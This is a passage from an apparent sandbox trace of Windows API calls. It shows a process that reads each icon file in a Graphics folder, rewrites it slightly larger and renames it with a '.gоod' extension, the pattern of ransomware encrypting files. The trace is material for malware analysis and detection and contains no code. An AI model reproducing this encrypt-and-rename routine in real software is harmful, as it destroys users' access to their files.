cAlternateFileName="")) returned 1 [0120.306] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Save.ico", cAlternateFileName="")) returned 1 [0120.307] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x8f66, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.ico", cAlternateFileName="")) returned 1 [0120.307] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b5e7f00, ftCreationTime.dwHighDateTime=0x1ca927c, ftLastAccessTime.dwLowDateTime=0x5b5e7f00, ftLastAccessTime.dwHighDateTime=0x1ca927c, ftLastWriteTime.dwLowDateTime=0x5b5e7f00, ftLastWriteTime.dwHighDateTime=0x1ca927c, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="stop.ico", cAlternateFileName="")) returned 1 [0120.307] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqMet.ico", cAlternateFileName="SYSREQ~1.ICO")) returned 1 [0120.307] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqNotMet.ico", cAlternateFileName="SYSREQ~2.ICO")) returned 1 [0120.307] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico", cAlternateFileName="")) returned 1 [0120.307] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico", cAlternateFileName="")) returned 0 [0120.307] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0120.308] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ede30) returned 1 [0120.308] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddf0) returned 1 [0120.308] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\Print.ico", lpFilePart=0x0) returned 0x28 [0120.308] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edca0) returned 1 [0120.308] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico"), fInfoLevelId=0x0, lpFileInformation=0x348b3f8 | out: lpFileInformation=0x348b3f8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e)) returned 1 [0120.310] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc60) returned 1 [0120.310] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico", nBufferLength=0x105, lpBuffer=0x1f6ed630, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\Print.ico", lpFilePart=0x0) returned 0x28 [0120.310] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edb50) returned 1 [0120.310] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0120.310] GetFileType (hFile=0x6e8) returned 0x1 [0120.310] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edac0) returned 1 [0120.310] GetFileType (hFile=0x6e8) returned 0x1 [0120.310] GetFileSize (in: hFile=0x6e8, lpFileSizeHigh=0x1f6edcf8 | out: lpFileSizeHigh=0x1f6edcf8*=0x0) returned 0x47e [0120.310] ReadFile (in: hFile=0x6e8, lpBuffer=0x348baa0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edc28, lpOverlapped=0x0 | out: lpBuffer=0x348baa0*, lpNumberOfBytesRead=0x1f6edc28*=0x47e, lpOverlapped=0x0) returned 1 [0120.311] CloseHandle (hObject=0x6e8) returned 1 [0121.781] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico", nBufferLength=0x105, lpBuffer=0x1f6ed630, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\Print.ico", lpFilePart=0x0) returned 0x28 [0121.781] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edb50) returned 1 [0121.781] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0121.782] GetFileType (hFile=0x768) returned 0x1 [0121.782] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edac0) returned 1 [0121.782] GetFileType (hFile=0x768) returned 0x1 [0121.782] WriteFile (in: hFile=0x768, lpBuffer=0x3644368*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x1f6edb38, lpOverlapped=0x0 | out: lpBuffer=0x3644368*, lpNumberOfBytesWritten=0x1f6edb38*=0x480, lpOverlapped=0x0) returned 1 [0121.783] CloseHandle (hObject=0x768) returned 1 [0121.783] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\Print.ico", lpFilePart=0x0) returned 0x28 [0121.783] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico.gоod", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\Print.ico.gоod", lpFilePart=0x0) returned 0x2d [0121.783] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edc60) returned 1 [0121.783] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico"), fInfoLevelId=0x0, lpFileInformation=0x1f6edd40 | out: lpFileInformation=0x1f6edd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0x44cc5e20, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x480)) returned 1 [0121.783] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc20) returned 1 [0121.784] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico"), lpNewFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico.gоod" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico.gоod")) returned 1 [0121.784] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico", lpFilePart=0x0) returned 0x2a [0121.784] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edca0) returned 1 [0121.784] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico"), fInfoLevelId=0x0, lpFileInformation=0x3645550 | out: lpFileInformation=0x3645550*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e)) returned 1 [0121.784] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc60) returned 1 [0121.784] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico", nBufferLength=0x105, lpBuffer=0x1f6ed630, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico", lpFilePart=0x0) returned 0x2a [0121.784] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edb50) returned 1 [0121.785] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0121.785] GetFileType (hFile=0x768) returned 0x1 [0121.785] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edac0) returned 1 [0121.785] GetFileType (hFile=0x768) returned 0x1 [0121.785] GetFileSize (in: hFile=0x768, lpFileSizeHigh=0x1f6edcf8 | out: lpFileSizeHigh=0x1f6edcf8*=0x0) returned 0x37e [0121.785] ReadFile (in: hFile=0x768, lpBuffer=0x3645af8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edc28, lpOverlapped=0x0 | out: lpBuffer=0x3645af8*, lpNumberOfBytesRead=0x1f6edc28*=0x37e, lpOverlapped=0x0) returned 1 [0121.793] CloseHandle (hObject=0x768) returned 1 [0122.139] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico", nBufferLength=0x105, lpBuffer=0x1f6ed630, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico", lpFilePart=0x0) returned 0x2a [0122.139] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edb50) returned 1 [0122.139] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0122.140] GetFileType (hFile=0x7c8) returned 0x1 [0122.140] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edac0) returned 1 [0122.140] GetFileType (hFile=0x7c8) returned 0x1 [0122.140] WriteFile (in: hFile=0x7c8, lpBuffer=0x3519510*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x1f6edb38, lpOverlapped=0x0 | out: lpBuffer=0x3519510*, lpNumberOfBytesWritten=0x1f6edb38*=0x380, lpOverlapped=0x0) returned 1 [0122.141] CloseHandle (hObject=0x7c8) returned 1 [0122.141] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico", lpFilePart=0x0) returned 0x2a [0122.141] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico.gоod", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico.gоod", lpFilePart=0x0) returned 0x2f [0122.141] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edc60) returned 1 [0122.141] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico"), fInfoLevelId=0x0, lpFileInformation=0x1f6edd40 | out: lpFileInformation=0x1f6edd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0x450334cd, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x380)) returned 1 [0122.141] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc20) returned 1 [0122.141] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico"), lpNewFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico.gоod" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico.gоod")) returned 1 [0122.142] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico", lpFilePart=0x0) returned 0x2a [0122.142] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edca0) returned 1 [0122.142] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico"), fInfoLevelId=0x0, lpFileInformation=0x351a6f8 | out: lpFileInformation=0x351a6f8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e)) returned 1 [0122.142] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc60) returned 1 [0122.142] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico", nBufferLength=0x105, lpBuffer=0x1f6ed630, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico", lpFilePart=0x0) returned 0x2a [0122.142] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edb50) returned 1 [0122.142] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0122.142] GetFileType (hFile=0x7c8) returned 0x1 [0122.142] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edac0) returned 1 [0122.142] GetFileType (hFile=0x7c8) returned 0x1 [0122.142] GetFileSize (in: hFile=0x7c8, lpFileSizeHigh=0x1f6edcf8 | out: lpFileSizeHigh=0x1f6edcf8*=0x0) returned 0x37e [0122.143] ReadFile (in: hFile=0x7c8, lpBuffer=0x351aca0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edc28, lpOverlapped=0x0 | out: lpBuffer=0x351aca0*, lpNumberOfBytesRead=0x1f6edc28*=0x37e, lpOverlapped=0x0) returned 1 [0122.144] CloseHandle (hObject=0x7c8) returned 1 [0122.171] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico", nBufferLength=0x105, lpBuffer=0x1f6ed630, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico", lpFilePart=0x0) returned 0x2a [0122.171] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edb50) returned 1 [0122.171] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0122.172] GetFileType (hFile=0x7c8) returned 0x1 [0122.172] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edac0) returned 1 [0122.172] GetFileType (hFile=0x7c8) returned 0x1 [0122.172] WriteFile (in: hFile=0x7c8, lpBuffer=0x3594240*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x1f6edb38, lpOverlapped=0x0 | out: lpBuffer=0x3594240*, lpNumberOfBytesWritten=0x1f6edb38*=0x380, lpOverlapped=0x0) returned 1 [0122.173] CloseHandle (hObject=0x7c8) returned 1 [0122.173] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico", lpFilePart=0x0) returned 0x2a [0122.173] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico.gоod", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico.gоod", lpFilePart=0x0) returned 0x2f [0122.173] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edc60) returned 1 [0122.173] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico"), fInfoLevelId=0x0, lpFileInformation=0x1f6edd40 | out: lpFileInformation=0x1f6edd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0x4507f89d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x380)) returned 1 [0122.174] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc20) returned 1 [0122.174] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico"), lpNewFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico.gоod" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico.gоod")) returned 1 [0122.174] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico", lpFilePart=0x0) returned 0x2a [0122.174] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edca0) returned 1 [0122.174] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico"), fInfoLevelId=0x0, lpFileInformation=0x3595428 | out: lpFileInformation=0x3595428*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e)) returned 1 [0122.174] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc60) returned 1 [0122.175] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico", nBufferLength=0x105, lpBuffer=0x1f6ed630, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico", lpFilePart=0x0) returned 0x2a [0122.175] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edb50) returned 1 [0122.175] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0122.175] GetFileType (hFile=0x7c8) returned 0x1 [0122.175] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edac0) returned 1 [0122.175] GetFileType (hFile=0x7c8) returned 0x1 [0122.175] GetFileSize (in: hFile=0x7c8, lpFileSizeHigh=0x1f6edcf8 | out: lpFileSizeHigh=0x1f6edcf8*=0x0) returned 0x37e [0122.175] ReadFile (in: hFile=0x7c8, lpBuffer=0x35959d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edc28, lpOverlapped=0x0 | out: lpBuffer=0x35959d0*, lpNumberOfBytesRead=0x1f6edc28*=0x37e, lpOverlapped=0x0) returned 1 [0122.269] CloseHandle (hObject=0x7c8) returned 1 [0122.773] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico", nBufferLength=0x105, lpBuffer=0x1f6ed630, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico", lpFilePart=0x0) returned 0x2a [0122.773] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edb50) returned 1 [0122.774] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0122.774] GetFileType (hFile=0x6e8) returned 0x1 [0122.774] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edac0) returned 1 [0122.774] GetFileType (hFile=0x6e8) returned 0x1 [0122.775] WriteFile (in: hFile=0x6e8, lpBuffer=0x368b2a0*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x1f6edb38, lpOverlapped=0x0 | out: lpBuffer=0x368b2a0*, lpNumberOfBytesWritten=0x1f6edb38*=0x380, lpOverlapped=0x0) returned 1 [0122.775] CloseHandle (hObject=0x6e8) returned 1 [0122.775] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico", lpFilePart=0x0) returned 0x2a [0122.775] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico.gоod", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico.gоod", lpFilePart=0x0) returned 0x2f [0122.775] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edc60) returned 1 [0122.776] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico"), fInfoLevelId=0x0, lpFileInformation=0x1f6edd40 | out: lpFileInformation=0x1f6edd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0x4564f42f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x380)) returned 1 [0122.776] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc20) returned 1 [0122.776] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico"), lpNewFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico.gоod" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico.gоod")) returned 1 [0122.776] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico", lpFilePart=0x0) returned 0x2a [0122.776] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edca0) returned 1 [0122.776] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico"), fInfoLevelId=0x0, lpFileInformation=0x368c488 | out: lpFileInformation=0x368c488*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e)) returned 1 [0122.777] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc60) returned 1 [0122.777] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico", nBufferLength=0x105, lpBuffer=0x1f6ed630, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico", 